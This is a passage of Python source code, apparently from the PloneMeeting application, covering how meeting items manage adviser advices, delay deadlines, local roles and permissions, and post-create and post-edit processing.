p_role_to_remove on given p_obj.\"\"\"\n roles = rolesForPermissionOn(permission, obj)\n if role_to_remove in roles:\n # cleanup roles as the permission is also returned with a leading '_'\n roles = [role for role in roles if not role.startswith('_')]\n if role_to_remove in roles:\n roles.remove(role_to_remove)\n obj.manage_permission(permission, roles)\n\n def _removeEveryContainedAdvices(self, suppress_events=True):\n \"\"\"Remove every contained advices.\"\"\"\n for advice in self.getAdvices():\n self._delObject(advice.getId(), suppress_events=suppress_events)\n\n def _adviceDelayIsTimedOut(self, groupId, computeNewDelayInfos=False):\n \"\"\"Returns True if given p_advice is delay-aware and delay is timed out.\n If p_computeNewDelayInfos is True, we will not take delay_infos from the\n adviceIndex but call getDelayInfosForAdvice to get fresh data.\"\"\"\n if not self.adviceIndex[groupId]['delay']:\n return False\n # in some case, when creating advice, if adviserIndex is reindexed before\n # _updateAdvices is finished, we do not have the 'delay_infos' in the adviceIndex\n # in this case, no matter p_computeNewDelayInfos we use getDelayInfosForAdvice\n if computeNewDelayInfos or 'delay_infos' not in self.adviceIndex[groupId]:\n delay_infos = self.getDelayInfosForAdvice(groupId)\n else:\n delay_infos = self.adviceIndex[groupId]['delay_infos']\n return delay_infos['delay_status'] == 'timed_out' or \\\n delay_infos['delay_status_when_stopped'] == 'stopped_timed_out'\n\n def _is_currently_updating_advices(self):\n \"\"\" \"\"\"\n return self.REQUEST.get('currentlyUpdatingAdvice', False)\n\n def _updateAdvices(self,\n cfg,\n item_state,\n invalidate=False,\n triggered_by_transition=None,\n inheritedAdviserUids=[]):\n '''Every time an item is created or updated, this method updates the\n dictionary self.adviceIndex: a key is added for every advice that needs\n to be given, a key is removed for every advice that does not need to\n be given anymore. If p_invalidate = True, it means that advice\n invalidation is enabled and someone has modified the item: it means\n that all advices will be NOT_GIVEN_ADVICE_VALUE again.\n If p_triggered_by_transition is given, we know that the advices are\n updated because of a workflow transition, we receive the transition name.\n WARNING : this method is a sub-method of self.update_local_roles and is not supposed\n to be called separately unless you know what you are doing! Indeed, as this method involves\n localRoles management, various methods update localRoles sometimes same localRoles.'''\n # bypass advice update if we are pasting items containing advices\n if self.REQUEST.get('currentlyPastingItems', False):\n return\n\n # declare that we are currently updating advices\n # because some subprocess like events could call it again\n # leading to some inconsistency...\n self.REQUEST.set('currentlyUpdatingAdvice', True)\n\n old_adviceIndex = deepcopy(self.adviceIndex.data)\n\n isDefinedInTool = self.isDefinedInTool()\n if isDefinedInTool:\n self.adviceIndex = PersistentMapping()\n plone_utils = api.portal.get_tool('plone_utils')\n\n # check if the given p_triggered_by_transition transition name\n # is the transition that will restart delays\n isTransitionReinitializingDelays = triggered_by_transition in \\\n cfg.getTransitionsReinitializingDelays()\n\n # add a message for the user\n if isTransitionReinitializingDelays:\n plone_utils.addPortalMessage(\n translate('advices_delays_reinitialized',\n domain=\"PloneMeeting\",\n context=self.REQUEST),\n type='info')\n\n # Invalidate advices if needed\n if invalidate:\n # Invalidate all advices. Send notification mail(s) if configured.\n for org_uid, adviceInfo in self.adviceIndex.iteritems():\n advice_obj = self.getAdviceObj(adviceInfo['id'])\n if advice_obj:\n # Send a mail to the group that can give the advice.\n if 'adviceInvalidated' in cfg.getMailItemEvents():\n plone_group_id = get_plone_group_id(org_uid, 'advisers')\n sendMailIfRelevant(self,\n 'adviceInvalidated',\n [plone_group_id],\n isGroupIds=True)\n plone_utils.addPortalMessage(translate('advices_invalidated',\n domain=\"PloneMeeting\",\n context=self.REQUEST),\n type='info')\n # remove every meetingadvice from self\n self._removeEveryContainedAdvices(suppress_events=False)\n\n # manage inherited advices\n inheritedAdviserUids = inheritedAdviserUids or [\n org_uid for org_uid in self.adviceIndex\n if self.adviceIndex[org_uid].get('inherited', False)]\n\n # Update the dictionary self.adviceIndex with every advices to give\n i = -1\n # we will recompute the entire adviceIndex\n # just save some data that are only in the adviceIndex :\n # 'delay_started_on'\n # 'delay_stopped_on'\n # 'delay_for_automatic_adviser_changed_manually'\n saved_stored_data = {}\n adapted = self.adapted()\n for org_uid, adviceInfo in self.adviceIndex.iteritems():\n saved_stored_data[org_uid] = {}\n reinit_delay = adapted._adviceDelayWillBeReinitialized(\n org_uid, adviceInfo, isTransitionReinitializingDelays)\n if reinit_delay or org_uid in inheritedAdviserUids:\n saved_stored_data[org_uid]['delay_started_on'] = None\n saved_stored_data[org_uid]['delay_stopped_on'] = None\n else:\n saved_stored_data[org_uid]['delay_started_on'] = 'delay_started_on' in adviceInfo and \\\n adviceInfo['delay_started_on'] or None\n saved_stored_data[org_uid]['delay_stopped_on'] = 'delay_stopped_on' in adviceInfo and \\\n adviceInfo['delay_stopped_on'] or None\n saved_stored_data[org_uid]['delay_for_automatic_adviser_changed_manually'] = \\\n 'delay_for_automatic_adviser_changed_manually' in adviceInfo and \\\n adviceInfo['delay_for_automatic_adviser_changed_manually'] or False\n saved_stored_data[org_uid]['delay_changes_history'] = \\\n 'delay_changes_history' in adviceInfo and \\\n adviceInfo['delay_changes_history'] or []\n saved_stored_data[org_uid]['proposing_group_comment'] = \\\n adviceInfo.get('proposing_group_comment', u'')\n saved_stored_data[org_uid]['inherited'] = \\\n 'inherited' in adviceInfo and \\\n adviceInfo['inherited'] or bool(org_uid in inheritedAdviserUids)\n if 'isConfidential' in adviceInfo:\n saved_stored_data[org_uid]['isConfidential'] = adviceInfo['isConfidential']\n else:\n saved_stored_data[org_uid]['isConfidential'] = cfg.getAdviceConfidentialityDefault()\n\n # Compute automatic\n # no sense to compute automatic advice on items defined in the configuration\n if isDefinedInTool:\n automaticAdvisers = []\n else:\n # here, there are still no 'Reader' access for advisers to the item\n # make sure the automatic advisers (where a TAL expression is evaluated)\n # may access the item correctly\n with api.env.adopt_roles(['Manager', ]):\n automaticAdvisers = self.getAutomaticAdvisersData()\n # get formatted optionalAdvisers to be coherent with automaticAdvisers data format\n optionalAdvisers = self.getOptionalAdvisersData()\n # now get inherited advices that are not in optional advisers and\n # automatic advisers, it is the case for not_asked advices or when sending\n # an item to another MC\n handledAdviserUids = [optAdviser['org_uid'] for optAdviser in optionalAdvisers\n if optAdviser['org_uid'] not in inheritedAdviserUids]\n handledAdviserUids += [autoAdviser['org_uid'] for autoAdviser in automaticAdvisers\n if autoAdviser['org_uid'] not in inheritedAdviserUids]\n # when inheritedAdviserUids, adviceIndex is empty\n unhandledAdviserUids = [org_uid for org_uid in inheritedAdviserUids\n if org_uid not in handledAdviserUids]\n # if we have an adviceIndex, check that every inherited adviserIds are handled\n unhandledAdviserUids += [\n org_uid for org_uid in self.adviceIndex\n if self.adviceIndex[org_uid].get('inherited', False) and\n org_uid not in handledAdviserUids]\n if unhandledAdviserUids:\n optionalAdvisers += self.getUnhandledInheritedAdvisersData(\n unhandledAdviserUids, optional=True)\n automaticAdvisers += self.getUnhandledInheritedAdvisersData(\n unhandledAdviserUids, optional=False)\n # we keep the optional and automatic advisers separated because we need\n # to know what advices are optional or not\n # if an advice is in both optional and automatic advisers, the automatic is kept\n self.adviceIndex = PersistentMapping()\n for adviceType in (optionalAdvisers, automaticAdvisers):\n i += 1\n optional = (i == 0)\n for adviceInfo in adviceType:\n # We create an empty dictionary that will store advice info\n # once the advice will have been created. But for now, we already\n # store known infos coming from the configuration and from selected otpional advisers\n org_uid = adviceInfo['org_uid']\n self.adviceIndex[org_uid] = d = PersistentMapping()\n d['type'] = NOT_GIVEN_ADVICE_VALUE\n d['optional'] = optional\n d['not_asked'] = False\n d['id'] = org_uid\n d['name'] = get_organization(org_uid).get_full_title()\n d['comment'] = None\n d['delay'] = adviceInfo['delay']\n d['delay_left_alert'] = adviceInfo['delay_left_alert']\n d['delay_label'] = adviceInfo['delay_label']\n d['gives_auto_advice_on_help_message'] = \\\n adviceInfo['gives_auto_advice_on_help_message']\n d['row_id'] = adviceInfo['row_id']\n d['hidden_during_redaction'] = False\n # manage the 'delay_started_on' data that was saved prior\n if adviceInfo['delay'] and \\\n org_uid in saved_stored_data and \\\n adapted._adviceDelayMayBeStarted(org_uid):\n d['delay_started_on'] = saved_stored_data[org_uid]['delay_started_on']\n else:\n d['delay_started_on'] = None\n # manage stopped delay\n if org_uid in saved_stored_data:\n d['delay_stopped_on'] = saved_stored_data[org_uid]['delay_stopped_on']\n else:\n d['delay_stopped_on'] = None\n # advice_given_on will be filled by already given advices\n d['advice_given_on'] = None\n d['advice_given_on_localized'] = None\n # save the fact that a delay for an automatically asked advice\n # was changed manually. Indeed, we need to know it because at next advice update,\n # the normally auto asked advice must not interfer this manually managed advice.\n # This is the case if some delay-aware auto advice are linked together using the\n # 'is_linked_to_previous_row' on the MeetingConfig.customAdvisers\n if org_uid in saved_stored_data:\n d['delay_for_automatic_adviser_changed_manually'] = \\\n saved_stored_data[org_uid]['delay_for_automatic_adviser_changed_manually']\n d['delay_changes_history'] = saved_stored_data[org_uid]['delay_changes_history']\n d['isConfidential'] = saved_stored_data[org_uid]['isConfidential']\n d['inherited'] = saved_stored_data[org_uid]['inherited']\n d['proposing_group_comment'] = \\\n saved_stored_data[org_uid]['proposing_group_comment']\n else:\n d['delay_for_automatic_adviser_changed_manually'] = False\n d['delay_changes_history'] = []\n d['isConfidential'] = cfg.getAdviceConfidentialityDefault()\n d['inherited'] = bool(org_uid in inheritedAdviserUids)\n d['proposing_group_comment'] = u''\n # index view/add/edit access\n d['item_viewable_by_advisers'] = False\n d['advice_addable'] = False\n d['advice_editable'] = False\n # userids\n d['userids'] = adviceInfo['userids']\n\n # now update self.adviceIndex with given advices\n for org_uid, adviceInfo in self.getGivenAdvices().iteritems():\n # first check that groupId is in self.adviceIndex, there could be 2 cases :\n # - in case an advice was asked automatically and condition that was True at the time\n # is not True anymore (item/getBudgetRelated for example) but the advice was given in between\n # However, in this case we have a 'row_id' stored in the given advice\n # - in case we have a not asked advice given by a PowerAdviser, in this case, we have no 'row_id'\n if org_uid not in self.adviceIndex:\n self.adviceIndex[org_uid] = PersistentMapping()\n if not adviceInfo['row_id']:\n # this is a given advice that was not asked (given by a PowerAdviser)\n adviceInfo['not_asked'] = True\n if adviceInfo['delay'] and \\\n org_uid in saved_stored_data and \\\n adapted._adviceDelayMayBeStarted(org_uid):\n # an automatic advice was given but because something changed on the item\n # for example switched from budgetRelated to not budgetRelated, the automatic\n # advice should not be asked, but as already given, we keep it\n adviceInfo['delay_started_on'] = saved_stored_data[org_uid]['delay_started_on']\n if org_uid in saved_stored_data:\n adviceInfo['delay_stopped_on'] = saved_stored_data[org_uid]['delay_stopped_on']\n adviceInfo['delay_for_automatic_adviser_changed_manually'] = \\\n saved_stored_data[org_uid]['delay_for_automatic_adviser_changed_manually']\n adviceInfo['delay_changes_history'] = saved_stored_data[org_uid]['delay_changes_history']\n adviceInfo['isConfidential'] = saved_stored_data[org_uid]['isConfidential']\n adviceInfo['proposing_group_comment'] = \\\n saved_stored_data[org_uid]['proposing_group_comment']\n else:\n adviceInfo['delay_for_automatic_adviser_changed_manually'] = False\n adviceInfo['delay_changes_history'] = []\n adviceInfo['isConfidential'] = cfg.getAdviceConfidentialityDefault()\n adviceInfo['proposing_group_comment'] = u''\n # index view/add/edit access\n adviceInfo['item_viewable_by_advisers'] = False\n adviceInfo['advice_addable'] = False\n adviceInfo['advice_editable'] = False\n adviceInfo['inherited'] = False\n adviceInfo['userids'] = []\n self.adviceIndex[org_uid].update(adviceInfo)\n\n # and remove specific permissions given to add advices\n # make sure the 'PloneMeeting: Add advice' permission is not\n # given to the 'MeetingAdviser' role\n self._removePermissionToRole(permission=AddAdvice,\n role_to_remove='MeetingAdviser',\n obj=self)\n # manage PowerAdvisers\n # we will give those groups the ability to give an advice on this item\n # even if the advice was not asked...\n for org_uid in cfg.getPowerAdvisersGroups():\n # if group already gave advice, we continue\n if org_uid in self.adviceIndex:\n continue\n # we even consider orgs having their _advisers Plone group\n # empty because this does not change anything in the UI and adding a\n # user after in the _advisers suffixed Plone group will do things work as expected\n if item_state in cfg.getItemAdviceStatesForOrg(org_uid):\n plone_group_id = get_plone_group_id(org_uid, suffix='advisers')\n # power advisers get only the right to add the advice, but not to see the item\n # this must be provided using another functionnality, like power observers or so\n self.manage_addLocalRoles(plone_group_id, ('MeetingAdviser', ))\n # make sure 'MeetingAdviser' has the 'AddAdvice' permission\n self._grantPermissionToRole(permission=AddAdvice,\n role_to_give='MeetingAdviser',\n obj=self)\n\n # Then, add local roles regarding asked advices\n wfTool = api.portal.get_tool('portal_workflow')\n for org_uid in self.adviceIndex.iterkeys():\n org = get_organization(org_uid)\n itemAdviceStates = org.get_item_advice_states(cfg)\n itemAdviceEditStates = org.get_item_advice_edit_states(cfg)\n itemAdviceViewStates = org.get_item_advice_view_states(cfg)\n plone_group_id = get_plone_group_id(org_uid, 'advisers')\n adviceObj = None\n if 'advice_id' in self.adviceIndex[org_uid]:\n adviceObj = getattr(self, self.adviceIndex[org_uid]['advice_id'])\n giveReaderAccess = True\n if item_state not in itemAdviceStates and \\\n item_state not in itemAdviceEditStates and \\\n item_state not in itemAdviceViewStates:\n giveReaderAccess = False\n # in this case, the advice is no more accessible in any way by the adviser\n # make sure the advice given by groupId is no more editable\n if adviceObj and not adviceObj.query_state() == 'advice_given':\n self.REQUEST.set('mayGiveAdvice', True)\n # add a comment for this transition triggered by the application,\n # we want to show why it was triggered : item state change or delay exceeded\n wf_comment = _('wf_transition_triggered_by_application')\n wfTool.doActionFor(adviceObj, 'giveAdvice', comment=wf_comment)\n self.REQUEST.set('mayGiveAdvice', False)\n # in case advice was not given or access to given advice is not kept,\n # we are done with this one\n # just check the keep_access_to_item_when_advice\n # when 'was_giveable' if item was in a state where advices were giveable\n # access is kept, when 'is_given', access is kept if advice given\n keep_access_to_item_when_advice = org.get_keep_access_to_item_when_advice(cfg)\n if (adviceObj and keep_access_to_item_when_advice == 'is_given') or \\\n (keep_access_to_item_when_advice == 'was_giveable' and\n set(itemAdviceStates).intersection(\n get_all_history_attr(self, attr_name='review_state'))):\n giveReaderAccess = True\n\n if adapted._itemToAdviceIsViewable(org_uid) and giveReaderAccess:\n # give access to the item if adviser can see it\n self.manage_addLocalRoles(plone_group_id, (READER_USECASES['advices'],))\n self.adviceIndex[org_uid]['item_viewable_by_advisers'] = True\n\n # manage delay, add/edit access only if advice is not inherited\n if not self.adviceIsInherited(org_uid):\n # manage delay-aware advice, we start the delay if not already started\n if item_state in itemAdviceStates and \\\n self.adviceIndex[org_uid]['delay'] and not \\\n self.adviceIndex[org_uid]['delay_started_on'] and \\\n adapted._adviceDelayMayBeStarted(org_uid):\n self.adviceIndex[org_uid]['delay_started_on'] = datetime.now()\n\n # check if user must be able to add an advice, if not already given\n # check also if the delay is not exceeded,\n # in this case the advice can not be given anymore\n delayIsNotExceeded = not self._adviceDelayIsTimedOut(\n org_uid, computeNewDelayInfos=True)\n if item_state in itemAdviceStates and \\\n not adviceObj and \\\n delayIsNotExceeded and \\\n adapted._adviceIsAddable(org_uid):\n # advisers must be able to add a 'meetingadvice', give\n # relevant permissions to 'MeetingAdviser' role\n # the 'Add portal content' permission is given by default to 'MeetingAdviser',\n # so we need to give 'PloneMeeting: Add advice' permission too\n self.manage_addLocalRoles(plone_group_id, ('MeetingAdviser', ))\n self._grantPermissionToRole(permission=AddAdvice,\n role_to_give='MeetingAdviser',\n obj=self)\n self.adviceIndex[org_uid]['advice_addable'] = True\n\n # is advice still editable?\n if item_state in itemAdviceEditStates and \\\n delayIsNotExceeded and \\\n adviceObj and \\\n adapted._adviceIsEditable(org_uid):\n # make sure the advice given by groupId is no more in state 'advice_given'\n # if it is the case, we set it back to the advice initial_state\n if adviceObj.query_state() == 'advice_given':\n try:\n # make the guard_expr protecting 'mayBackToAdviceInitialState' alright\n self.REQUEST.set('mayBackToAdviceInitialState', True)\n # add a comment for this transition triggered by the application\n wf_comment = _('wf_transition_triggered_by_application')\n wfTool.doActionFor(adviceObj, 'backToAdviceInitialState', comment=wf_comment)\n except WorkflowException:\n # if we have another workflow than default meetingadvice_workflow\n # maybe we can not 'backToAdviceInitialState'\n pass\n self.REQUEST.set('mayBackToAdviceInitialState', False)\n self.adviceIndex[org_uid]['advice_editable'] = True\n else:\n # make sure it is no more editable\n if adviceObj and not adviceObj.query_state() == 'advice_given':\n self.REQUEST.set('mayGiveAdvice', True)\n # add a comment for this transition triggered by the application\n wf_comment = _('wf_transition_triggered_by_application')\n wfTool.doActionFor(adviceObj, 'giveAdvice', comment=wf_comment)\n self.REQUEST.set('mayGiveAdvice', False)\n # if item needs to be accessible by advisers, it is already\n # done by self.manage_addLocalRoles here above because it is necessary in any case\n if item_state in itemAdviceViewStates:\n pass\n\n # make sure there is no 'delay_stopped_on' date if advice still giveable\n if item_state in itemAdviceStates:\n self.adviceIndex[org_uid]['delay_stopped_on'] = None\n # the delay is stopped for advices\n # when the advice can not be given anymore due to a workflow transition\n # we only do that if not already done (a stopped date is already defined)\n # and if we are not on the transition that reinitialize delays\n # and if ever delay was started\n if item_state not in itemAdviceStates and \\\n self.adviceIndex[org_uid]['delay'] and \\\n self.adviceIndex[org_uid]['delay_started_on'] and \\\n not isTransitionReinitializingDelays and \\\n not bool(org_uid in saved_stored_data and\n saved_stored_data[org_uid]['delay_stopped_on']):\n self.adviceIndex[org_uid]['delay_stopped_on'] = datetime.now()\n\n # compute and store delay_infos\n if self.adviceIsInherited(org_uid):\n # if we are removing the predecessor, advice is inherited but\n # the predecessor is not available anymore, double check\n inheritedAdviceInfos = self.getInheritedAdviceInfo(org_uid)\n adviceHolder = inheritedAdviceInfos and inheritedAdviceInfos['adviceHolder'] or self\n else:\n adviceHolder = self\n self.adviceIndex[org_uid]['delay_infos'] = adviceHolder.getDelayInfosForAdvice(org_uid)\n # send delay expiration warning notification if relevant\n self.sendAdviceDelayWarningMailIfRelevant(\n org_uid, old_adviceIndex)\n # update advice review_state\n if adviceObj is not None:\n self.adviceIndex[org_uid]['advice_review_state'] = adviceObj.query_state()\n else:\n self.adviceIndex[org_uid]['advice_review_state'] = None\n\n # update adviceIndex of every items for which I am the predecessor\n # this way inherited advices are correct if any\n successors = self.get_every_successors()\n for successor in successors:\n # removed inherited advice uids are advice removed on original item\n # that were inherited on back references\n removedInheritedAdviserUids = [\n adviceInfo['id'] for adviceInfo in successor.adviceIndex.values()\n if adviceInfo.get('inherited', False) and\n adviceInfo['id'] not in self.adviceIndex]\n if removedInheritedAdviserUids:\n for removedInheritedAdviserUid in removedInheritedAdviserUids:\n successor.adviceIndex[removedInheritedAdviserUid]['inherited'] = False\n successor.update_local_roles()\n\n # notify that advices have been updated so subproducts\n # may interact if necessary\n notify(AdvicesUpdatedEvent(self,\n triggered_by_transition=triggered_by_transition,\n old_adviceIndex=old_adviceIndex))\n self.REQUEST.set('currentlyUpdatingAdvice', False)\n indexes = []\n try:\n if self.adviceIndex != old_adviceIndex:\n indexes += adapted.getAdviceRelatedIndexes()\n except UnicodeDecodeError:\n indexes += adapted.getAdviceRelatedIndexes()\n return indexes\n\n def _itemToAdviceIsViewable(self, org_uid):\n '''See doc in interfaces.py.'''\n return True\n\n def _adviceIsAddable(self, org_uid):\n '''See doc in interfaces.py.'''\n return True\n\n def _adviceIsAddableByCurrentUser(self, org_uid):\n '''See doc in interfaces.py.'''\n return True\n\n def _adviceIsEditable(self, org_uid):\n '''See doc in interfaces.py.'''\n return True\n\n def _adviceIsEditableByCurrentUser(self, org_uid):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n adviceObj = item.getAdviceObj(org_uid)\n return _checkPermission(ModifyPortalContent, adviceObj)\n\n def _adviceDelayMayBeStarted(self, org_uid):\n '''See doc in interfaces.py.'''\n return True\n\n def _adviceDelayWillBeReinitialized(self,\n org_uid,\n adviceInfo,\n isTransitionReinitializingDelays):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n reinit_delay = False\n if isTransitionReinitializingDelays and not item._advice_is_given(org_uid):\n reinit_delay = True\n return reinit_delay\n\n security.declarePublic('getDelayInfosForAdvice')\n\n def getDelayInfosForAdvice(self, advice_id):\n '''Compute left delay in number of days for given p_advice_id.\n Returns real left delay, a status information aka :\n - not yet giveable;\n - still in delays;\n - delays timeout.\n Returns also the real limit date and the initial delay.\n This call is only relevant for a delay-aware advice.'''\n toLocalizedTime = self.restrictedTraverse('@@plone').toLocalizedTime\n data = {'left_delay': None,\n 'delay_status': None,\n 'limit_date': None,\n 'limit_date_localized': None,\n 'delay': None,\n 'delay_started_on_localized': None,\n 'delay_stopped_on_localized': None,\n 'delay_when_stopped': None,\n 'delay_status_when_stopped': None}\n delay_started_on = delay_stopped_on = None\n adviceInfos = self.adviceIndex[advice_id]\n # if it is not a delay-aware advice, return\n if not adviceInfos['delay']:\n return {}\n\n delay = int(adviceInfos['delay'])\n data['delay'] = delay\n if adviceInfos['delay_started_on']:\n data['delay_started_on_localized'] = toLocalizedTime(adviceInfos['delay_started_on'])\n delay_started_on = self._doClearDayFrom(adviceInfos['delay_started_on'])\n\n if adviceInfos['delay_stopped_on']:\n data['delay_stopped_on_localized'] = toLocalizedTime(adviceInfos['delay_stopped_on'])\n delay_stopped_on = self._doClearDayFrom(adviceInfos['delay_stopped_on'])\n\n # if delay still not started, we return complete delay\n # except special case where we asked an advice when\n # advice are not giveable anymore\n if not delay_started_on:\n if not delay_stopped_on:\n data['left_delay'] = delay\n data['delay_status'] = 'not_yet_giveable'\n return data\n else:\n # here finally the delay is stopped\n # but it never started for current advice\n data['left_delay'] = delay\n data['delay_status'] = 'never_giveable'\n return data\n\n tool = api.portal.get_tool('portal_plonemeeting')\n holidays = tool.getHolidaysAs_datetime()\n weekends = tool.getNonWorkingDayNumbers()\n unavailable_weekdays = tool.getUnavailableWeekDaysNumbers()\n limit_date = workday(delay_started_on,\n delay,\n holidays=holidays,\n weekends=weekends,\n unavailable_weekdays=unavailable_weekdays)\n data['limit_date'] = limit_date\n data['limit_date_localized'] = toLocalizedTime(limit_date)\n\n # if delay is stopped, it means that we can no more give the advice\n if delay_stopped_on:\n data['left_delay'] = delay\n # compute how many days left/exceeded when the delay was stopped\n # find number of days between delay_started_on and delay_stopped_on\n delay_when_stopped = networkdays(adviceInfos['delay_stopped_on'],\n limit_date,\n holidays=holidays,\n weekends=weekends)\n data['delay_when_stopped'] = delay_when_stopped\n if data['delay_when_stopped'] > 0:\n data['delay_status_when_stopped'] = 'stopped_still_time'\n else:\n data['delay_status_when_stopped'] = 'stopped_timed_out'\n\n data['delay_status'] = 'no_more_giveable'\n return data\n\n # compute left delay taking holidays, and unavailable weekday into account\n left_delay = networkdays(datetime.now(),\n limit_date,\n holidays=holidays,\n weekends=weekends)\n data['left_delay'] = left_delay\n\n if left_delay >= 0:\n # delay status is either 'we have time' or 'please hurry up' depending\n # on value defined in 'delay_left_alert'\n if not adviceInfos['delay_left_alert'] or int(adviceInfos['delay_left_alert']) < left_delay:\n data['delay_status'] = 'still_time'\n else:\n data['delay_status'] = 'still_time_but_alert'\n else:\n data['delay_status'] = 'timed_out'\n\n # advice already given, or left_delay negative left_delay shown is delay\n # so left_delay displayed on the advices popup is not something like '-547'\n # only show left delay if advice in under redaction, aka not really given...\n if not adviceInfos['hidden_during_redaction'] and \\\n (adviceInfos['advice_given_on'] or data['left_delay'] < 0):\n data['left_delay'] = delay\n return data\n\n return data\n\n security.declarePublic('getCopyGroupsHelpMsg')\n\n def getCopyGroupsHelpMsg(self, cfg):\n '''Help message regarding copy groups configuration.'''\n translated_states = translate_list(cfg.getItemCopyGroupsStates())\n msg = translate(msgid=\"copy_groups_help_msg\",\n domain=\"PloneMeeting\",\n mapping={\"states\": translated_states},\n context=self.REQUEST)\n return msg\n\n security.declarePublic('getAdviceHelpMessageFor')\n\n def getAdviceHelpMessageFor(self, **adviceInfos):\n '''Build a specific help message for the given advice_id. We will compute\n a message based on the fact that the advice is optional or not and that there\n are defined 'Help message' in the MeetingConfig.customAdvisers configuration (for performance,\n the 'Help message' infos from the configuration are stored in the adviceIndex).'''\n # base help message is based on the fact that advice is optional or not\n help_msg = ''\n if adviceInfos['optional']:\n # the advice was not asked but given by a super adviser\n if adviceInfos['not_asked']:\n help_msg = translate('This optional advice was given of initiative by a power adviser',\n domain=\"PloneMeeting\",\n context=self.REQUEST)\n else:\n help_msg = translate('This optional advice was asked by the item creators',\n domain=\"PloneMeeting\",\n context=self.REQUEST)\n else:\n help_msg = translate('This automatic advice has been asked by the application',\n domain=\"PloneMeeting\",\n context=self.REQUEST)\n # an additional help message can be provided for automatically asked advices\n help_msg = \"%s \\n%s: %s\" % (help_msg,\n translate('Advice asked automatically because',\n domain=\"PloneMeeting\",\n context=self.REQUEST),\n unicode(adviceInfos['gives_auto_advice_on_help_message'], 'utf-8') or '-')\n # if it is a delay-aware advice, display the number of days to give the advice\n # like that, when the limit decrease (3 days left), we still have the info\n # about original number of days to give advice\n if adviceInfos['delay']:\n help_msg += \"\\n%s\" % translate('Days to give advice',\n domain=\"PloneMeeting\",\n mapping={'daysToGiveAdvice': adviceInfos['delay']},\n context=self.REQUEST)\n # advice review_states related informations (addable, editable/removeable, viewable)\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n item_advice_states = cfg.getItemAdviceStatesForOrg(adviceInfos['id'])\n translated_item_advice_states = translate_list(item_advice_states)\n advice_states_msg = translate(\n 'This advice is addable in following states : ${item_advice_states}.',\n mapping={'item_advice_states': translated_item_advice_states},\n domain=\"PloneMeeting\",\n context=self.REQUEST)\n return help_msg + '\\n' + advice_states_msg\n\n security.declarePrivate('at_post_create_script')\n\n def at_post_create_script(self, **kwargs):\n # The following field allows to store events that occurred in the life\n # of an item, like annex deletions or additions.\n self.itemHistory = PersistentList()\n # Add a place to store automatically added copyGroups\n self.autoCopyGroups = PersistentList()\n # Remove temp local role that allowed to create the item in\n # portal_factory.\n userId = get_current_user_id(self.REQUEST)\n self.manage_delLocalRoles([userId])\n self.manage_addLocalRoles(userId, ('Owner',))\n # update groupsInCharge before update_local_roles\n self.update_groups_in_charge()\n indexes = self.update_local_roles(\n isCreated=True,\n inheritedAdviserUids=kwargs.get('inheritedAdviserUids', []))\n # clean borg.localroles caching\n cleanMemoize(self, prefixes=['borg.localrole.workspace.checkLocalRolesAllowed'])\n # Apply potential transformations to richtext fields\n transformAllRichTextFields(self)\n # Make sure we have 'text/html' for every Rich fields\n forceHTMLContentTypeForEmptyRichFields(self)\n # update committees if necessary\n indexes += self.update_committees()\n # reindex necessary indexes\n self.reindexObject(idxs=indexes)\n # itemReference uses MeetingConfig.computeItemReferenceForItemsOutOfMeeting?\n self.update_item_reference()\n # Call sub-product-specific behaviour\n self.adapted().onEdit(isCreated=True)\n\n def _update_after_edit(self, idxs=['*'], reindex_local_roles=True):\n \"\"\"Convenience method that make sure ObjectModifiedEvent and\n at_post_edit_script are called, like it is the case in\n Archetypes.BaseObject.processForm.\n We also call reindexObject here so we avoid multiple reindexation\n as it is already done in processForm.\n This is called when we change something on an item and we do not\n use processForm.\"\"\"\n # WARNING, we do things the same order processForm do it\n # reindexObject is done in _processForm, then notify and\n # call to at_post_edit_script are done\n # moreover, warn when called with idxs=['*']\n if idxs == ['*']:\n logger.warn(\"MeetingItem._update_after_edit was called with \"\n \"idxs=['*'], make sure this is correct!\")\n notifyModifiedAndReindex(self, extra_idxs=idxs, notify_event=True)\n self.at_post_edit_script(\n full_edit_form=False, reindex_local_roles=reindex_local_roles)\n\n security.declarePrivate('at_post_edit_script')\n\n def at_post_edit_script(self, full_edit_form=True, reindex_local_roles=False):\n # update groupsInCharge before update_local_roles\n self.update_groups_in_charge()\n indexes = self.update_local_roles(\n invalidate=self.willInvalidateAdvices(),\n isCreated=False,\n avoid_reindex=True)\n if full_edit_form:\n # Apply potential transformations to richtext fields\n transformAllRichTextFields(self)\n # Add a line in history if historized fields have changed\n addDataChange(self)\n # Make sure we have 'text/html' for every Rich fields\n forceHTMLContentTypeForEmptyRichFields(self)\n # update committees if necessary\n indexes += self.update_committees()\n if reindex_local_roles or full_edit_form:\n self.reindexObject(idxs=indexes)\n # Call sub-product-specific behaviour\n self.adapted().onEdit(isCreated=False)\n\n security.declarePublic('updateHistory')\n\n def updateHistory(self, action, subObj, **kwargs):\n '''Adds an event to the item history. p_action may be 'add' or 'delete'.\n p_subObj is the sub-object created or deleted (ie an annex). p_kwargs\n are additional entries that will be stored in the event within item's\n history.'''\n # Update history only if the item is in some states\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if self.query_state() in cfg.getRecordItemHistoryStates():\n # Create the event\n user_id = get_current_user_id(self.REQUEST)\n event = {'action': action, 'type': subObj.meta_type,\n 'title': subObj.Title(), 'time': DateTime(),\n 'actor': user_id}\n event.update(kwargs)\n # Add the event to item's history\n self.itemHistory.append(event)\n\n def _getGroupManagingItem(self, review_state, theObject=False):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n return item.getProposingGroup(theObject=theObject)\n\n def _getAllGroupsManagingItem(self, review_state, theObjects=False):\n '''See doc in interfaces.py.'''\n res = []\n item = self.getSelf()\n proposingGroup = item.getProposingGroup(theObject=theObjects)\n if proposingGroup:\n res.append(proposingGroup)\n return res\n\n def _assign_roles_to_group_suffixes(self, org_uid, suffix_roles):\n \"\"\"Helper that applies local_roles for org_uid to p_sufix_roles.\n p_suffixes_roles is like:\n {'observers': ['Reader'], 'creators': ['Reader']}\n \"\"\"\n # apply local roles to computed suffixes\n for suffix, roles in suffix_roles.items():\n # suffix_roles keep only existing suffixes\n plone_group_id = get_plone_group_id(org_uid, suffix)\n if not isinstance(roles, (list, tuple)):\n raise Exception(\n \"Parameter suffix_roles values must be of type tuple or list!\")\n self.manage_addLocalRoles(plone_group_id, tuple(roles))\n\n def 